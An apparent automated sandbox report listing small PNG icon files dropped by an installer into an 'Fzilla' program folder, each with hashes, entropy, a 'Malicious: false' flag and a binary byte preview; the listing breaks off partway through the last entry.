SHA-256:	4AD63C5835D83E818C21DF08556FEF7BC8377D2FCEFAA67553FEBF1346701C67
SHA-512:	0E093365186A1485634D9CF2BAD0895858E1866D4A3DCF9EF09B72A9B611C8F94EDCC5DCA54E0ABDFC91411CC718427B6009F195DE1904E78AAF850A6ABEC9CB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....lIDATx....t$i..s.m;..6O..X..Ng&.............V.]u.o2.L...?....._.........................)...<..QP;;.G,,,...n.{t.....~c^..n.....a.QT..v..'..pQ.JIdf.,fe./d...0S..1...G..8}..H...v...B..ch.%..@..y...I...;9?...Gg$..........s........3..n.ZWQm{+.OO.....u.N.>.m...8U...i.(....a..\......bW..`B.{5.}c.hba~M...x@....7.p.....&..caM..M....Q....dU......@EK....C....x......@ek3..Ee%.....\......o....e..m.N.T.v./.jX....LM...p..l...5@...j:...8QY...l}.2@...+.mTV.u....`....(...Q..:PR.....W$...,8...u(.....C.V.V.p.u.#...bgq..t.............I..>\s[..6.#jR.EkOW.M>F......M.YGS....,n........KOW%.....ORd.4h...r.+<d.(.<c......')..[KU.....4..y....c.\.)sV^n.kN..0..MH.......!{..4o.0......g.K.....7.s..RQ..b.U..K.q..Gnn....z..\|\|B....i.....~.)-......C.....V...[...7....q:....G...(._....r...R..~}-.{..X..&-Z......k...9..2..G......f....g>.............!..Y.W/&cR...!D...........Zt.1..w+.}3#L...]@....*.@>f..<Z.i.T......BTW.k.....:..&..^.....,........z..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-URV8R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1502
Entropy (8bit):	7.847642654721642
Encrypted:	false
SSDEEP:	24:r6+W9Ubora2KtKj7dpfK5IkB+CN9KXOp23giSZY3VPwjzsWihVtJLGlUono0/0/G:G+Fbom8TC5IkB+iKXOp23gf64YnooHa
MD5:	8937AE02C0F26EB8444864BC6EC61BA7
SHA1:	603DE24BCFE8872F39C616EE6C513279B0CF9173
SHA-256:	C1A277D56033288A6C4EA17AB3757410D2CFC030D35F8C903A2C5F2EE9D93D70
SHA-512:	B1B46EA96BC417A2D25BF648587C519DEE56CA676D5ED173CA3F31864501F6A7F2F29B28CC3AAADE8A86AD37DB7B14B8F1637002BEAA9356C4CDBDE4DF7CE8C4
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$K.....Bcl{.l....>.m.9.<.....Y.q......_....G....._...\z....MhLo.>\|(}..R...qyPWz.e.]../T...._.\|f......Z.ZV...[.r..}.......y.......5C/.}Q]_O.J3a....{.o.........6...K..f.Q...o...........(@IEe...(.k22a....._..uA..8.ay.F.Ln..=>ys..C~;...o/otO.f.W.{~.Q"F...^.HJw..`.bU.(.C...j.L..g.Cd...........@..`c.y....&.3..Y....5q.j.i.C>.. .. .....t.'....d.v"...../L.A....f\|2..!..>....O]PS^UN...m......NMM.3>....B6m.H.Q..b..D.j-.B:..1..n.B._.Q.....F..P.(JGw.z........sY..7......"..5m.D@....~...g..E_....`..KKv>.EL.r.r.........I..T:=...V.XA..l...L.4). S...>.$.M5.m..`p<)...;.x.....#?...... .32...Ri-.....o......&.&L.D........e.Z.2.....W......o\[......P.=..7_....b...\|\.e..-..m..*F...z..y-.<.'.}..o....?...?.y.^H..k..A..u.@z_.rU4..k.,<......3.:.D"Ad.Qd.]....Z</.q.d.Qz].N.......f.{.....;.'?.....'..)BNv.....\|<k6@..........4`.m...]!..q9.d......yg.y.v...........<.....?.x.....g...Q_W..;...._BViI.w.~;.\|.5..v.y.~...1.X.....j

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-V4S18.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1379
Entropy (8bit):	7.7895027642703605
Encrypted:	false
SSDEEP:	24:OHgg8zrcEeWySrUHvuJsEceRKoSJTq2XthG1jX3e/1wAI0dEjf966z8qF:OV8zrcazi0sJeRgcCmAzdEp664qF
MD5:	9ABC44426E996935DBF2EE24602668C4
SHA1:	C81191F069822AD5E6B259AE04D7D3B90FC05112
SHA-256:	CC9DCD7CC4CF015FC4CFD777494391A32A46A5BA7BAE71EEEEBF0E0F47634D36
SHA-512:	B03218F4191E4DE3BB1258BDE4398EF7A8FD2090D7F03C315E9B94936C4B4C54646986CD3271BD36198C72197EB8E64F5864579BB4457D3D96CFE7185208312A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....IDATx....+y...m{..5^.m$.}kcQ....k...7.f.....s~.I...O..\|.~.....R........xRYY..(@.t.g....}.v(//..V.[.neR.Tt.V._.C.....9.gN..[`.M..!.3..F...B....... ..t..C.Z.....,....F..]..B.8....T......".....<..#...4......f.I.."^=.!.\....?....CP....x...x.Ut.W..o?..'...SH..+..Q..c.......{....I\|qs\\.+.c.F.xdr....o0s.JJ.......b.@s.........O.)}z......Q....Sz..............Ri1.]...FM.ZhnRAuu5=.{.!...N..777.V..p#..~.>{=......G0K..{.IJJb.111.L.......Q<\..A....{........~~~.`=n...@...SC}..?~............t.+.U(.....m..:..7.w...z...m/.......T.RH..o...8...M..x.[..L.lK.I......~4W..NII..{w.N.....P.-d.I]..p..n.pDD.0V...yx..F..+.....=..p...t:.0..'...,.Q...r...b~.,...)T0.}.B.....fL...8P(..R.tGEE.GFFn..@+.-[`...WO../.2c2jF..`.a0......!.z.\|.........vc..:.W.....,w..{@...s2..z........vB.c..n....h.l.6~-4s+..f18.s.R=...O...l......T.....w%0;#.$Sf.i....Mh....C.y...V..rh@.:.\|ph$`.......W........X..E.7<<.......(O......`.1.~...ZjWA.q9F......^..M..,......+>..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1293
Entropy (8bit):	7.810661832642768
Encrypted:	false
SSDEEP:	24:XbKbDTXsjW0P0rfmhqtqXVPT906ts3Kxoln37ZRbq:X0nXWWa0DUVpC3KxozRbq
MD5:	C48D1C49C7A6D89ABD08C8F7A9F78E1C
SHA1:	4316A3CC1501866C9CBDC2D6CB00F546DDDD004A
SHA-256:	1D2FB812EF1899E9BEE80BA138E818EDA6EB75E48CFE25E1262010779E4EB885
SHA-512:	4089BF099D060EF82C24F001AB97110C9B623AE5768A39B262DB4C73FAA3C6AEF1421D638ED0B914788C5C7AC6FB619974FD39071A172E1C48AF31B4C9416ED9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...s.H..}LC..w..13.A.a..s..n.....2...333..e...R.:Ug..\|b.....g....8..AT.~qb.(!f.....]{..f!..\|...b.Z.wn.:RV.u...6.... f.&..Ld.G....}...........s...[.63........c}-.+..Xm5..j`.Z."J....v#..6d...x.;,hQ....+.....6.`bz...Q....~....?6..3D.`...W\|.-.i. ...IR<..1.ev....nk._T.a.7.]P.."(C..>.."J.=ME....>v..\..%..`sXF.`....j<."...{......e.4.`SN..V.o4BIc=T.......^...\|...\|.C.p...o....g..x.5.yd.!.J.......^Z.....D......8z...&..c....>........D...K.\|.C&.).7......^F;......y.c.z...=..SxY9...H.))..y....1K.`I.......$.`...q.....J..p.F.JQ..R..]...D.Apj.U.....4/H.F....U^\|j......H......3..M&...v....\|....xm.....\.LH..`....,Zl....Xf..X................\..}...d.q2.2..:..Wg..*..2.EX.9d.&...":3.8.X...w.-u...ju...f...D...{....XC.'...Cv.-...\|.,.?......f.4..g-.`....:....{....EQK\|>.....[.Sx...I...4...t.\D.>k..S......B....ld....N.....d4.qp...s#R..`...}u?.@./P`....@#..FwY....a`..vW.owf...B....;B.....}......C...(MX..n.c.+##...;...

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	953
Entropy (8bit):	7.756432182810883
Encrypted:	false
SSDEEP:	24:aZUcAKDlSPHLiN1zSb78WnyJhH2IbkKUoQL:aZUcAYBS78WQhHlkLzL
MD5:	7EAB972BFFAC70AF18AD32F173C38EE0
SHA1:	77B68A0BE77B8EF049F22400D83A53FF8F17109C
SHA-256:	0139736F1E4A1B9D867C34A97AB343DA4817E5C9B6027859A4CB16DF0443F476
SHA-512:	253D77D11D7FC437E968191A9B3D4D28B66E1C30544D65BB1C2E77C02BF6D6E35579676003FEFFDC63BE83BF2FF408DC970CBADEDB45E9FBFCEC39309A321708
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...lG..o.M.]V.6.8.@6....6.m.m.o.J.0NF.....;.U}f..._..'p....$..S..N.^=..k.hjy.I........{.'..X...RakHr.qMg;...........<#...7X.w.p.Iz...oT..@.@....@FI.d..Cq}-."...~.Ho7....w...."p....2.`mW.T.6CTZ..%%@Xr...../..b..G..3q.,.XJ`.m\.R..X.KO...'.LM...o.Ze.u...+D..7...H.0...o.....%.....d.........T H....K.....j~....E...]...W....A.q_\.P.............e.A.{x<.`..8!.cCt..-...?.g.4Kv.uX..[...D..0.+.%...4...{M.'tU@...=.\RW.b3.Q.BO.&...U.m.....<x.6....).....l..{.A.=S....Un.s`..^... 4...]...$.l....S. .n..[.[.....].r.....x.,..S..#.,..{.t?....#..r.+!...wI*..ep...@.I..@fE)04..L'..m..TH...B=.h.....E.?>...S..gN..w.[..-...+P\]....$./......_...kY.Sd#6#./n..:.i..C......-Mx....57BFy...a.!...R..A..b.\|E....#..c.#._[..d.<.79.P..Y.........j..}.=<.....Kk....le...y...,....).E..@;..]^XU...cl......0...._].8.].e.........t.......t...F.F..U.^.....k<.\|$...t6....D..s.........~e4.[."....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	970
Entropy (8bit):	7.731615254815511
Encrypted:	false
SSDEEP:	12:6v/7io9LBFKgquOLdRq0SQwtlcntjElpmxfLKJw49ve70cln6JMVg69O3To8Gglu:6rDrvtgApcub9vm0c2DDPGglkbBY2
MD5:	88F4D2A39C37B399396E848028C94CA8
SHA1:	16E9EC3070B1412E051F65ACC371F1B1201DC7E1
SHA-256:	8B82DBB8E5F0E61762AA7ABDDB15BFA85567681B519BCFA5CF275F8AB6FE853E
SHA-512:	28AEB5E1A4890BC93309F2B5910CEE451027BA2BD8D94CAA4FE361186CE47C5D51B94D4AE321E0FB00BADE1142D1FD7FCACF9A646922D32D46346122CE3B106D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....kW......j.k..gl;..fl..v.m...n.wsjD..Z.../....nj........L..H..].n.q............G.....FF.....:...QE.....Q.NQ.......{(.......}o.g>......Kl1..$....3Q...7....o...g....?k....SV..gV.J..R;.....1.]aHj......&.....G.UG..%.1c;.$..B..?_..Z.n./..O.3...B....y..`..........1.:4.>N.<.^p.k...B.v.6.o............b.@R....C......]K6...6g.2..ND.!.$.Q;....C.K.f...c.<.km..\n..pND!.1.f........P.KLA.3Qd..(.....[.........j....l.(....W:..(g.T4:......R'.fi.I..x..C..q...[....f...2B.m@.......J.S.y.k....)......z.z.>.M...[..kV..x..<..8!\..:gm..i[.jx...9d....'....IH.x_...x..E4....`....._.q..eI.b.k.f@....-.C.....pxM........U.T/.\|UK..@nm.i...W..[..B.b(.........+......\...*......f.....edo.........).@.%?......Ho..Yog#.....q.......Z&d$xk.O...N.{\|.YON.4.i\|y......%".Y...>.gq)........x.........=...k.H....z..g..@..%P.>...........LJ..+...S.\|^l.~..........)>."..TJ....}.8B.{.&.....W&.GL..R.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2289
Entropy (8bit):	7.890452388453586
Encrypted:	false
SSDEEP:	48:NxjPgqp06IKLfRX/Lye+nhVsoWci9Kxnhkwx/OZ4yv:Npog9XDye+nYoWx9qkwQaO
MD5:	43E500FE466F958FAE5F9FD29EABCDC3
SHA1:	72A7CCC9D396F64E5096B12576F4F2F4F29BAE4B
SHA-256:	A90FBCFB8449DCF5AB69DD49A7098C07F99869BFACF289B337C7756EECD4E3F0
SHA-512:	FB6B3F79F846F60C7C42989255B9A2A4D77A37D7EC5696209874998508276053A367FCA076B570491B43809FAC2D85CC07B845C0668723B44EE8AED8BA630A15
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t..............m.3..mO...m.....L.'....$..5]..x.zc.I..{..pOp.UW.e../.r.Q. .f.0\|.?..?../...jR./b..". 1.........#Ggm....(...YU.X.D.`.:9....7o.",......o.....-..Rn...].S...".=...U...P.^..}......s.mgg/...........?......?..k.Lj..}...s...n...-....b.kq].h...p<.....I...!.j.....k.\..y..C.....C..;.....l$......425.^ib..C...o;..7..@D....(.....q.AZ.l(...A&c..^$J.rY.q.......[5..Zl?.....~.v...0.\|.;..B...lA.........xZ.&.I'q....N...:...kfh.m,0<<...........I.;...HS.....a.u.-.R..... `X..<s.>.GL.^H.V%..D4:.. v.........h....t..I.h......B!o(.g..9a..j...+.'...:]...3.......H..(P...Qp....I,a.. .4)JR...X"..(5..&&.W].......w3.Z.....=c....?...!".iB...a.....y..x.Z'(%.H.(.k+...hi.:.r.j...'...199..iO7.....R..-..y....v.w....wR...TF.o..#..w Z0s.fN......W_.khh.###?.{.......j......,m ..@a....@Q..Y..9.....b(s.i........A(.e.e..A.....6-n=..7V..1.0..?.._....;....r'..>.k....g.Q...4.y..R..6.4......eY..$..33.t..[....^s...f..N".

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1680
Entropy (8bit):	7.8410935978420735
Encrypted:	false
SSDEEP:	48:rIur1SBz5n2rErXncs0HT/H5+y/zy+rYjeajJg:rIur1Mz5nfnc5/zy+kjea1g
MD5:	D367B5F46042FF303993E7A1CC309435
SHA1:	61B8BDF88A2EA70BBE06F38271A422CB8B4CC2AB
SHA-256:	4D08ECA18C2DF1852577174569EDC965D4125E91DF590737A7C8CCD3E291C006
SHA-512:	8EA30FE58993BBF950CC474C88D52CB91ADB1D6875B7E7CFD83C9C72024C8995715BB4660E5F4C455030ECE4005A0D50F2A2E9E00EF75318C8D685D3BF839389
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....WIDATx....t;{....m...bw.m..w8.LR+....m.Jc.v.{.A5.c.9.3......-....x..i.....E........^B..QR...N.K.m..qSR..x..H...(....U6.9....M.+4..(C.?t?.(.L..i..{....!.!....P..&f...'.m`}....<...GA.i....n.../VH..R.o3...5...k..3..^k....o\\|...Z..i..) (.O...........\e3.)..+.Fv....y....Ur.4J.Z...s...;DP.......~..LKK.JOO.lJJJ.r........Pjx...A...Ye;N]....p....)......u..5.......GauR.K.3../.'.MJJz.N.....w.... -x.........y......(o..F.V....p......L....q........v....)1........^...B;N.#,8..D..<.)N~{.w~.8.d.xS$._2m.2E.....3..:[K.k..X...j..+....:.s.[..W.......:p.c.~..{...7d.w.....y5........8.s..`.~-../....0..?p...p..8._........."..&.....}.p..E....../.....o....\|qq.+.U.P.1bii......SG....,o....V....M.c.r]Q..z...(:LI........"..&....bd.b.l./.SN..1Wx..2.F4....{..].?...P.:.`...O.E..;`..3.L........u...F4.}../...?........M....9SjE....Q.F./.j....J.VY......O.............Br_.W_.E.(V...R_. B.O.l.=....r(bD.......w..?H...Bx.\|:[j.5biK..I.p5U.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.835964632176258
Encrypted:	false
SSDEEP:	24:ae1LfmAsJ1MLwO53Pd5sosw2Ca+N8NWcNT6aXyp6AfMYn2Ik0KgO5BM7WHIvG2u/:yGRZPd5f4Ct0WWJXyVRnw0KVfIvk28l
MD5:	2A9777860B33ACC15E7B54F5C0D22981
SHA1:	FCFCD83382460DE3C67DB0B725244322365D402F
SHA-256:	F699822F96B5CE2389D735C3057961D1EDBDC405073DE37F02AC15B1D82E0AE7
SHA-512:	831F5D6DE4801958C4B01AE4CEBAD0F72F4FF7E2FFC521D9815F0CE59690FB472DFDB3F3A8484C62F2321A678837FE27E9B1F33B01A1AC1E292E30DAE081A390
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V.tk........m.m...ml...2.m....<.Ig.l.=.}.\|.B......N...b.$G.\|.#P..#.......n:.jh.3.....{.b..M.....'....^B.:....L.9....Q.Ns8>...{)...]:.=z......{.]S.@z.a.n.Aq....HQe.Y5Q.CZ.2.x...0><..G=..F.f.....n ^1....j...pS.2...........;.z.>..F...........~.E.>}.{.>$X4.^....x(...:.M.T..m.Hs.=...G......g........sEa...x..a(.'Bz\|.+.^918...epeAR.yli.`]..)..'...j.b..........n....:v..`C..k%N.8kD.b.?. ..<..w.IKs\|&B..g...`..C.9......b.........k.d). .4..K.V..:"dS..t....=.N.Z.....W.....\..lj....%$.g@...^.Z....M-nlm.b...`._G..9T\T#w......T.H95.+.H.v.q.....=..:.nu.t.!..@....$i.qlR..1....R.@\|.Q..jA......Y..W.8.R.!........,k.T.O%.i....86........:.(s.Qy...V.R..o..._..........T..m.\w.\{\|N...c3.......^.s& Q.F..:x....T4Ak.?...[..^z/....L..I.H}....b..fn..[.....u..Z....J.7... ...>........]@z...C':.P..:O..S`..z.v..H.=.....6..9x\.Y.@.?.Ur../...........7.#Cy..#.`..!..h..0...#.\|5z.7.\|...z..v.-8.n'I7.B]....OU.....%...&O.........o~..].

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1422
Entropy (8bit):	7.853035540830731
Encrypted:	false
SSDEEP:	24:aIRoDlbzkfUhj+v3tVOhbRUuXjnozNtqjB8/JdqMWyOM+7reofZl4UWBhDy:RuDl3EUhj+ftaCuXjnozqjydTWJ7tfbB
MD5:	802F4C28CDF440B5A9804A815783ACB3
SHA1:	BB3CF2C9C7AA96AA73304C18C4B9FD6BE37A62AB
SHA-256:	DD0C339CA4DB44CC41EEC349950A68F994FBB7D15C51CFE5F2BD6A61437F3BFC
SHA-512:	31A5189072AA84BA288D06AC8F522A8033253BF79F4C460109688C848F18063F049FCD07EA0721F36B8E350CDFDA3005136BDE7CF952552F5CFE9E17173F8223
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....UIDATx..V.t.X......).R.^....h..<$..Q..m.6{.&...Y+.g....T.E`.D.#.zE.x..L.^[x.B..Y.....7.BV....AE<......... ..Y2.r.a(...+..A...[.!+.`d...$..:.y....k.}W.._!.Mmi98.[.............<..y....p.!......W.X`).E5.C. .g...0>.5=...8.....F+.l............p......Jn..s.\.).+.0.@p^.......R~o.x...^.vt..g...g.6..X4g...s=R...l..{.@..~..J..P...)/)...6....MB.u....1....2..8D....-0......at#.F6..W.bp.h.......@.;u/......`..PZ.,...QU0w.$.ph.zd.X.7.al3........\|./.F7. m..%...4....0\....{.<.....v.Vr5.....'....nD...4.==..t..C.N.T.O.c.....-k.4...1.u..<\...}k.3....j.)..9..7B....3i.....`-..&..%.T.1~.=URZ. n.tl.7..zm..n.....@............O....m.G,.....A.....IW>...BR.s....=.N.......B.'.q........].... ..4.c.......:.\|...\A..d...?...N...u..)..E....h....t"...h.e.b....../...N3.PZ\...L...mS....@......h.e...5.....a....K."..u.Q..K.>..I...`.qq9...e.g1..?....^y.9.E.\|..H.....Ozh......v....R...u..A7?o,..F}.z..K... ..T=.....-.F.3.....dK+A)`.eeB..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1323
Entropy (8bit):	7.798057647628363
Encrypted:	false
SSDEEP:	24:HYt2VJWRlcU0cY2n0VDhGLryaLRT7BKx88K0t8k9Eqx71rq3WfkQ71nxBKBOycXa:i2VJKlSHGLrygo88kYr2BQftXE
MD5:	62BC6B0B63E417E0D51C129FCD62DAEF
SHA1:	F41536D73643769C8954E9E3225FACDF5B6425F1
SHA-256:	543FD0958DF96E06F411A6936BB8EDD840507F1485450A077EAA6A9091E54306
SHA-512:	11C07494C17EAEFF8751EA83A3B067A38925F98729656B3324E30D3F6CE96C1678D15328673F0B7C48EB0738474B5124CC4D76DF8A437F8A87EA92C984A29A95
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t.i.....=\...........Q.......f;~.K1.$s.y...9.~ybp#e.0..k..\..v.0.>.#&..>..b......>.Q9..R`=.[..a...B....+.....`..G..4.4.d.v... e.....`..DL..,h.yu. Z....1.aL...(.i.wf\|{.......8..C....`[`,....2....=........Y.6......%G..)0.[.YY.N../.....x.........v..F.....W.d..h9.N\|...ckaY..mxY.{.1#........f...8d..P...ux?.........2.....H..{f..t........Q..Q.@... @.....@8...R..H..t3.9#.....#.....H..:j`.............M...is.H.D.....F..c....T8...iB..Ni..X.....=..p...C....}d.....x.7 \|$...-..1..]..<.z&...g].B...L.R_L_<.._..E..t0..d..e..h..5c..2.@?.-r..9.r.g...aC.d.n.W;.....\|....<..>..N..Lx..../s.).y&D....K.G,R.^7.....r.~....Wz...=.0.J.R.G........c.".>(a.').\|.be.)Fz.bd.)V..<^%adkE.......v...S.s...l.{.....n.@2.y 0+.....\|z...+..%/...... F6l.f.Z.t..........rDI..{'...U.h....A.'((.\"....5#..}....[..Q....DS...Kn...+.d..@.<.iC/..j...c.4..<....KW.:.9....G.y....Q9.//.\i.f3*DJr.......\....~.....;..0..6t..i.f........{oy.c..x/...7

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.579296424706097
Encrypted:	false
SSDEEP:	12:6v/7i+DhV1CrWcz6EKiymSWA3tQPwmMo8HdTqTWkhHr7SbK8FpN4mLZfoS3xGp73:8lXoWcz6EKgWdaX85CzSuYnNtfoS3op7
MD5:	1B60EB7C2906BD7BE68F834065CE39C1
SHA1:	B5C79354B84E295146195F40C2BF60F2F5CFE04A
SHA-256:	09FF12506ED2DAE411E54C7FB479DA7F5B06177D30C79B2CEDEFC9652EE7B638
SHA-512:	EC1604C9B1CC43CB85B38AC7B3209F862B210C28AEC93A36EF9E9AED749072FD2DA98734C1A36F1C5A0E80CB9DEA48C62F72C2894F923CD789A527346A88F557
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...S.#I...m.......T.....m.m>.......[.Z{..>.1.v..B.....4.........a....T..'.<.B...`.f.K..............MUw/Y..........6....j.........R...'.....o...U.....Q.p ...U..'....7n..M.P..I.MA......45.G...;...........xx.......j.=:....._.dP...I..U+..kn..P.g....?.7/,.'.Nk..\|..i.$:7P......((..t....HM#....@.L.7@N)@.?@..J.......J'..?G.RRHt....X`......?i.......-..P"...A..p5e........N\|>. .....n...}.B@.N...S."I2.bW.x.8.a.(&~.0&n.?:n./:f. 2......G.fC.x..es2,7..}....,8.gm.......?....2 ..A...D..y....fAB....u.\|..~.V....j7...=...{z..P.....>..ic.B..."..@.P,..........b9.f0....l[K=....(..O..]aSe.z...!Z.....;...Rl.kRM.U..5TIl.{wL.g.A...}.e8~A..?.........$.[[......JD.......p..G(~0.!......}....m..D......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1379
Entropy (8bit):	7.7895027642703605
Encrypted:	false
SSDEEP:	24:OHgg8zrcEeWySrUHvuJsEceRKoSJTq2XthG1jX3e/1wAI0dEjf966z8qF:OV8zrcazi0sJeRgcCmAzdEp664qF
MD5:	9ABC44426E996935DBF2EE24602668C4
SHA1:	C81191F069822AD5E6B259AE04D7D3B90FC05112
SHA-256:	CC9DCD7CC4CF015FC4CFD777494391A32A46A5BA7BAE71EEEEBF0E0F47634D36
SHA-512:	B03218F4191E4DE3BB1258BDE4398EF7A8FD2090D7F03C315E9B94936C4B4C54646986CD3271BD36198C72197EB8E64F5864579BB4457D3D96CFE7185208312A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....IDATx....+y...m{..5^.m$.}kcQ....k...7.f.....s~.I...O..\|.~.....R........xRYY..(@.t.g....}.v(//..V.[.neR.Tt.V._.C.....9.gN..[`.M..!.3..F...B....... ..t..C.Z.....,....F..]..B.8....T......".....<..#...4......f.I.."^=.!.\....?....CP....x...x.Ut.W..o?..'...SH..+..Q..c.......{....I\|qs\\.+.c.F.xdr....o0s.JJ.......b.@s.........O.)}z......Q....Sz..............Ri1.]...FM.ZhnRAuu5=.{.!...N..777.V..p#..~.>{=......G0K..{.IJJb.111.L.......Q<\..A....{........~~~.`=n...@...SC}..?~............t.+.U(.....m..:..7.w...z...m/.......T.RH..o...8...M..x.[..L.lK.I......~4W..NII..{w.N.....P.-d.I]..p..n.pDD.0V...yx..F..+.....=..p...t:.0..'...,.Q...r...b~.,...)T0.}.B.....fL...8P(..R.tGEE.GFFn..@+.-[`...WO../.2c2jF..`.a0......!.z.\|.........vc..:.W.....,w..{@...s2..z........vB.c..n....h.l.6~-4s+..f18.s.R=...O...l......T.....w%0;#.$Sf.i....Mh....C.y...V..rh@.:.\|ph$`.......W........X..E.7<<.......(O......`.1.~...ZjWA.q9F......^..M..,......+>..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.850966052992087
Encrypted:	false
SSDEEP:	24:mr+DqtXYOnOe4uqAUtTWHNnlytDHtUyflnzhSsliCyG6R/S7gEXjc:mxfnOe4uF2UnluDmAIiDyGJgr
MD5:	713CC599592756C35BBF45B3299B42BE
SHA1:	6EF0E2B30E7297625CEEAF572B6E252BAD953A72
SHA-256:	4AD63C5835D83E818C21DF08556FEF7BC8377D2FCEFAA67553FEBF1346701C67
SHA-512:	0E093365186A1485634D9CF2BAD0895858E1866D4A3DCF9EF09B72A9B611C8F94EDCC5DCA54E0ABDFC91411CC718427B6009F195DE1904E78AAF850A6ABEC9CB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....lIDATx....t$i..s.m;..6O..X..Ng&.............V.]u.o2.L...?....._.........................)...<..QP;;.G,,,...n.{t.....~c^..n.....a.QT..v..'..pQ.JIdf.,fe./d...0S..1...G..8}..H...v...B..ch.%..@..y...I...;9?...Gg$..........s........3..n.ZWQm{+.OO.....u.N.>.m...8U...i.(....a..\......bW..`B.{5.}c.hba~M...x@....7.p.....&..caM..M....Q....dU......@EK....C....x......@ek3..Ee%.....\......o....e..m.N.T.v./.jX....LM...p..l...5@...j:...8QY...l}.2@...+.mTV.u....`....(...Q..:PR.....W$...,8...u(.....C.V.V.p.u.#...bgq..t.............I..>\s[..6.#jR.EkOW.M>F......M.YGS....,n........KOW%.....ORd.4h...r.+<d.(.<c......')..[KU.....4..y....c.\.)sV^n.kN..0..MH.......!{..4o.0......g.K.....7.s..RQ..b.U..K.q..Gnn....z..\|\|B....i.....~.)-......C.....V...[...7....q:....G...(._....r...R..~}-.{..X..&-Z......k...9..2..G......f....g>.............!..Y.W/&cR...!D...........Zt.1..w+.}3#L...]@....*.@>f..<Z.i.T......BTW.k.....:..&..^.....,........z..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	7.766538782080157
Encrypted:	false
SSDEEP:	24:9PZF5Uj4R9X8uya2xBrUZPbQJSshYWiXswaUTTjnqZbDO77:9P7XpBwB2bQJJ2qwfTWU77
MD5:	239A42D07D720EDA43D6532971027B49
SHA1:	3D90150411805874442066A0358B7980C68F8688
